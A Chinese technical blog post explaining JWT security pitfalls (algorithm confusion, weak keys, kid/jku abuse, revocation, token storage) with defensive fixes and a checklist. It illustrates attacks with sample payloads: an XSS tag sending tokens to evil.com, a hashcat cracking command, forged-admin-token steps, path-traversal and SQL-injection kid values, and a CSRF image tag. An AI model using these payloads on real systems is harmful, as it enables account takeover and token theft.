引子:那個讓我凌晨三點被叫醒的 P0
2021 年的某個週三凌晨 2:47,手機瘋狂震動。監控群裡只有一句話:“預備環境的 admin 介面被未經授權存取了。”
我迷迷糊糊開啟電腦,看日誌:一個剛註冊的普通帳號,拿著自己的 JWT,把 payload 裡的 role 從 user 改成 admin,然後直接調通了後臺的刪除介面。更離譜的是,服務端居然返回了 200 OK。
那一瞬間我腦子嗡的一下——我們不是用了 JWT 嗎?不是“很安全”嗎?怎麼改個欄位就繞過了?
後來覆盤才發現,這根本不是 JWT 的鍋,是我們把 JWT 當成了銀彈。那次故障之後,我把團隊裡所有跟 JWT 相關的程式碼全翻了一遍,越翻越心驚:alg:none 沒禁、金鑰是 123456、前端把 token 扔在 localStorage、過期時間設了 30 天……每一個都是教科書級的反面案例。
今天這篇,就是把這些坑一個個攤開講清楚。JWT 本身是一個非常精巧的設計,但“精巧”恰恰意味著“容錯率低”,一步用錯,就直接送人頭。
先把基礎打牢:JWT 到底是什麼,又不是什麼
很多人張口就是“JWT 加密”,這是第一個致命誤解。JWT 叫 JSON Web Token,它解決的是“怎麼證明這段資料是我發的,且沒被篡改”,而不是“怎麼把資料藏起來”。
一個正常的 JWT 長這樣,用點號分成三段:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
拆開看:
- Header:
{"alg":"HS256","typ":"JWT"},宣告“我是用 HS256 籤的”。 - Payload:
{"uid":123,"role":"user"},放業務資料。注意,這裡只是Base64Url編碼,任何人都能解。 - Signature:把前兩段用 Header 裡宣告的演算法 + 金鑰算個簽名,用來防篡改。
說人話:JWT 就是一張“蓋了公章的明信片”。郵遞員、路人都能看到你寫了啥,但只要公章對不上,就說明被人改過。千萬別在明信片上寫銀行卡密碼。
所以,別再往 payload 裡塞 password、phone、idCard 了。我見過最誇張的一次,有人把整個使用者表 SELECT * 的結果塞進 JWT,token 長達 8KB,每次請求都帶著跑,閘道器直接被打滿。
第一類陷阱:演算法混淆——最優雅,也最致命
這是 JWT 漏洞裡最出名的一類,2015 年就被公開,但直到現在還有大量庫預設“信任客戶端傳來的 alg”。
1. 把 alg 改成 none,伺服器居然信了
none 是 JWT 規範裡的一個合法演算法,意思是“不簽名”。它的本意是給不需要簽名的場景用的,比如 JWS 的未保護狀態。但很多不成熟的實現是這麼驗籤的:
// 錯誤示範,請勿模仿
const [headerB64] = token.split('.');
const header = JSON.parse(base64UrlDecode(headerB64));
if (header.alg === 'none') {
return true; // 直接放行,不驗籤名
} else {
return verify(token, secret);
}
攻擊就變得極其簡單:把原 token 的 header 改成 {"alg":"none"},把 payload 裡的 role 改成 admin,去掉最後一段簽名,直接發給伺服器——居然透過了。
我第一次在測試環境復現這個漏洞時,手都在抖。改個字串就能當管理員,這比 SQL 注入還輕鬆。
防禦:永遠白名單校驗。服務端必須寫死只接受 HS256 或 RS256 其中之一,遇到 none 直接拒絕。好一點的庫比如 jsonwebtoken 新版已經預設禁用 none,但如果你自己拼字串驗籤,一樣會中招。
2. RS256 和 HS256 的偷天換日:拿公鑰當 HMAC 金鑰
這是演算法混淆裡最陰的一招,很多大廠都栽過。
正常流程:RS256 是非對稱,服務端用私鑰簽名,客戶端/閘道器用公鑰驗籤。HS256 是對稱,籤和驗用同一個金鑰。
漏洞在於:有些庫驗籤時會拿 header.alg 來決定怎麼驗。如果攻擊者把 RS256 的 token 頭改成 HS256,伺服器會怎麼想?
“哦,你說你是 HS256 啊,那我就用 HS256 的方式驗,用‘金鑰’來算 HMAC。” 而這個“金鑰”是什麼?很多實現直接拿 RS256 的公鑰當成了 HS256 的金鑰。
公鑰是公開的啊!攻擊者直接去 /.well-known/jwks.json 把你的公鑰下載下來,當成 HMAC 金鑰去籤一個 HS256 的惡意 token,伺服器用同一個公鑰去驗 HMAC,結果還能對上。
# 攻擊者視角
1. 獲取伺服器 RS256 公鑰(公開的)
2. 構造 header: {"alg":"HS256","typ":"JWT"}
3. 構造 payload: {"uid":1,"role":"admin"}
4. 用公鑰內容當作 HS256 的 secret 去簽名
5. 發給伺服器,驗籤透過
2015 年安全研究員 Tim McLean 就披露過一批庫中招,包括一些 Python、Ruby 的老版本。原理不復雜,但極其隱蔽。
防禦:兩條鐵律:① 驗籤演算法必須由服務端配置決定,不能信任 token 裡的 alg。② RS256 和 HS256 的金鑰/公鑰必須隔離儲存,驗籤邏輯裡顯式指定 algorithms: ['RS256'],別寫 algorithms: ['HS256','RS256'] 這種騷操作。
3. 別信任任何客戶端能改的東西
歸根結底,header.alg 是客戶端可控的。就像你不會信任使用者傳來的 isAdmin=true 一樣,也別信任他傳來的“我是什麼演算法”。
第二類陷阱:金鑰——爛得像紙糊的一樣
演算法選對了,金鑰拉胯,一樣白給。
1. 弱金鑰爆破:123456 當金鑰的不止你一個
HS256 的金鑰強度完全取決於你設多長、隨機不隨機。我用 hashcat 跑過一遍弱金鑰字典,secret、password、123456、jwt_secret,幾秒鐘就爆出來。
更隱蔽的是,有人用公司名縮寫 + 年份當金鑰,比如 acme2023。這跟明文沒區別。JWT 的簽名是確定性的,攻擊者可以離線爆破:拿一個合法 token,不斷猜金鑰去算簽名,對上了就說明猜對了,完全不需要跟伺服器互動。
# 攻擊者離線爆破,給你感受一下
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# jwt.txt 裡放:eyJhb... + 字典跑,很快
防禦:金鑰至少 32 位元組隨機字串,用 openssl rand -hex 32 生成。別用人類能記住的詞。如果已經上線了弱金鑰,立刻輪換,並讓所有舊 token 失效。
2. 金鑰外洩:GitHub、前端、日誌,全是洩密現場
我審計程式碼時見過最離譜的三種外洩:
- 前端外洩:把
JWT_SECRET打包進了前端的app.js,開啟瀏覽器原始碼就能搜到。前端是敵佔區,任何金鑰放過去都等於公開。 - GitHub 外洩:直接
commit了.env,金鑰是my_super_secret_123,GitHub 搜尋一下還能找到。 - 日誌外洩:為了排查問題,把完整 token 列印到日誌,日誌又被 ELK 收集,維運、測試人人可見。token 外洩 = 金鑰外洩的等價物,因為 token 本身就能用。
還有個冷門的:有些框架會把金鑰透過錯誤堆疊外洩,比如驗籤失敗時把 secret 拼進錯誤資訊返回給前端。
防禦:金鑰只存在服務端環境變數或 KMS 裡,定期輪換。前端永遠只存 token,不存金鑰。日誌裡對 token 脫敏,只列印前 10 個字元。
3. kid 引數:一個被遺忘的後門
Header 裡有個可選欄位 kid(Key ID),用來告訴伺服器“你該用哪把金鑰來驗”。很多實現會這麼做:
const kid = header.kid;
const key = getKeyFromDB(kid); // 或者直接拼接檔案路徑
const verified = verify(token, key);
問題來了,如果 getKeyFromDB 沒做校驗,攻擊者可以玩出花:
- 目錄遍歷:
kid = "../../dev/null"或kid = "/dev/null",讓伺服器用空檔案當金鑰,空金鑰簽名的 token 隨便偽造。 - SQL 注入:
kid = "1' OR '1'='1",如果 kid 直接拼進 SQL,恭喜你,額外贈送一個 SQL 注入。 - 任意檔案讀取:有些實現會拿
kid去拼檔案路徑/keys/${kid}.pem,攻擊者傳kid = "../../../../etc/passwd"就能探測。
我曾在一次滲透測試裡,用 kid = "a" 和暴力列舉,發現伺服器會返回“key not found”的時延差異,藉此列舉出所有合法的 kid。
防禦:對 kid 做嚴格白名單,只允許字母數字和短橫。別用它直接拼路徑或 SQL,用對映表。
4. jku 和 x5u:讓攻擊者幫你指定金鑰地址
更危險的兩個 header 欄位:jku(JWK Set URL)和 x5u(X509 URL)。它們的意思是“我的公鑰在這個 URL 上,你去下載來驗”。如果伺服器信任它們,攻擊者直接把 jku 指向自己的伺服器,伺服器乖乖去下載攻擊者的公鑰來驗攻擊者的 token——永遠能驗過。
防禦:生產環境直接禁用 jku/x5u/x5c。如果業務真的需要,用白名單域名 + 強制 HTTPS + 快取。
第三類陷阱:過期、吊銷與重放——無狀態的代價
JWT 最大的賣點“無狀態”,恰恰是最大的坑。
Session 的吊銷很簡單:伺服器把 session 刪了就行。但 JWT 一旦簽發,在過期前就是一張“無法撤回的支票”。使用者改密碼了、被停權了、token 被偷了,只要 token 還沒過期,攻擊者就能一直用。
我見過把 exp 設成 30 天甚至不過期的,美其名曰“提升使用者體驗,免登入”。結果使用者手機丟了,別人拿著 token 能用一個月。
正確姿勢是“短命 + 可吊銷”:
- 短過期:
accessToken5-15 分鐘過期,只放最少的身份資訊。 - Refresh Token 輪換:用一個長一點的
refreshToken(存 httpOnly cookie + 存庫)來換新的 accessToken,每次使用後舊的 refreshToken 作廢。被盜也能快速發現——同一個 refreshToken 被用兩次,直接把該使用者的所有 token 加進黑名單。 - 黑名單/白名單:登出、改密碼、停權時,把 token 的
jti(JWT ID)塞進 Redis 黑名單,TTL 設為 token 剩餘有效期。驗籤時先查黑名單。這會讓“無狀態”變“有狀態”,但這是必要的妥協。 - 別忘了校驗 aud、iss、nbf:很多驗籤只看簽名和 exp,
aud(受眾)、iss(簽發者)都不看。導致 A 服務籤的 token 能在 B 服務上用。
// 推薦的驗籤配置
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5 // 容忍 5 秒時鐘偏移
});
第四類陷阱:你把 JWT 存在哪,決定了你怎麼死
這是一個經典的前後端扯皮現場。
| 存哪 | 優點 | 缺點 | 怎麼被偷 |
|---|---|---|---|
| localStorage / sessionStorage | 前端好拿 | 任何 JS 都能讀 | 一個 XSS 就全漏 |
| memory(記憶體變數) | 關閉標籤就沒 | 重新整理就丟 | 相對安全,但體驗差 |
| httpOnly + Secure + SameSite Cookie | JS 讀不到,防 XSS | 會觸發 CSRF | 需要 CSRF token 配合 |
我見過最多的錯誤是:為了方便,把 token 扔 localStorage,然後某個評論框沒做 XSS 過濾,攻擊者注入 <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))>,所有訪問該頁面的使用者 token 瞬間被收割。
而用 Cookie 也不是萬能:Cookie 會自動帶上,攻擊者誘導使用者點一個連結 <img src="https://api.mycompany.com/transfer?to=attacker&amount=1000">,只要使用者處於登入態,就會帶 Cookie 發請求,這就是 CSRF。
現在業界比較穩的方案:Cookie + 記憶體。把 accessToken 放記憶體,refreshToken 放 httpOnly + Secure + SameSite=Strict 的 Cookie,CSRF 用 SameSite 和額外的 csrfToken 雙重防禦。前端每次重新整理頁面用 refreshToken 換 accessToken。
另外,一定 全站 HTTPS,否則 token 在網路層就是明文,中間人直接抓包。
第五類陷阱:那些“忘了校驗”的欄位
驗籤透過 ≠ 業務透過。很多程式碼驗完簽名就直接 req.user = decoded,但漏了:
- 沒校驗 exp:庫的預設配置可能不校驗過期,需要手動開。
- 沒校驗 nbf:“在此時間之前不可用”,不校驗會導致未生效的 token 被提前使用。
- payload 信任:把
role、isVip這種權限欄位放 JWT 裡,且完全信任。正確做法是 JWT 只放uid,權限每次查庫或查快取。 - 重放:沒有
jti去重,同一個 token 被截獲後可以反覆重放。我建議對敏感操作(轉帳、改密碼)加一次性jti或繫結jti + ip + ua指紋。
生產級保命清單:我現在怎麼用 JWT
被坑過幾次後,我給團隊定的 JWT 規範,貼出來你直接抄:
- 演算法白名單:程式碼裡寫死
algorithms: ['RS256'],不讀 header 裡的 alg。禁用 none、jku、x5u。 - 金鑰要強、要轉:HS256 至少 32 位元組隨機字串,RS256 用 2048 位以上。金鑰放 KMS/環境變數,支援按 kid 輪換,舊金鑰保留 7 天用於驗舊 token。
- 短過期 + 更新:access 10 分鐘,refresh 7 天 + 輪換 + 黑名單。登出、改密、停權進黑名單。
- 最小 payload:只放
uid、jti、exp、iat,不放敏感資訊。要敏感就用 JWE 加密。 - 嚴格校驗:iss、aud、exp、nbf、jti 一個不少。權限不信任 JWT,走服務端查詢。
- 儲存:refresh 用 httpOnly Cookie,access 放記憶體。日誌脫敏,全站 HTTPS,CSP 防 XSS。
- 可觀測:記錄 jti 的簽發、更新、吊銷鏈路,異常複用立刻告警。
一句話總結:把 JWT 當成“一次性通行證”,而不是“永久身份證”。
寫在最後:JWT 沒有錯,錯的是“無腦信任”
回頭看,JWT 的設計非常剋制:三段式、Base64Url、可選演算法、標準化宣告。它的不安全,幾乎全是“實現層”的懶惰:為了省事信任 alg、為了方便用弱金鑰、為了體驗設超長過期、為了快把權限塞進 payload。
這跟菜刀的道理一樣:菜刀本身不危險,但你閉著眼睛揮,就是會切到手。
如果你現在就在用 JWT,不妨今晚就對著這份清單自查一遍:搜一下程式碼裡有沒有 verify(token, secret) 卻沒傳 algorithms 的地方;搜一下金鑰是不是還在 config.js 裡明文躺著;看一下 token 過期時間是不是以“天”為單位。改掉一個,就是少一個凌晨三點的 P0。
別等到被提權了,才想起這篇文章。
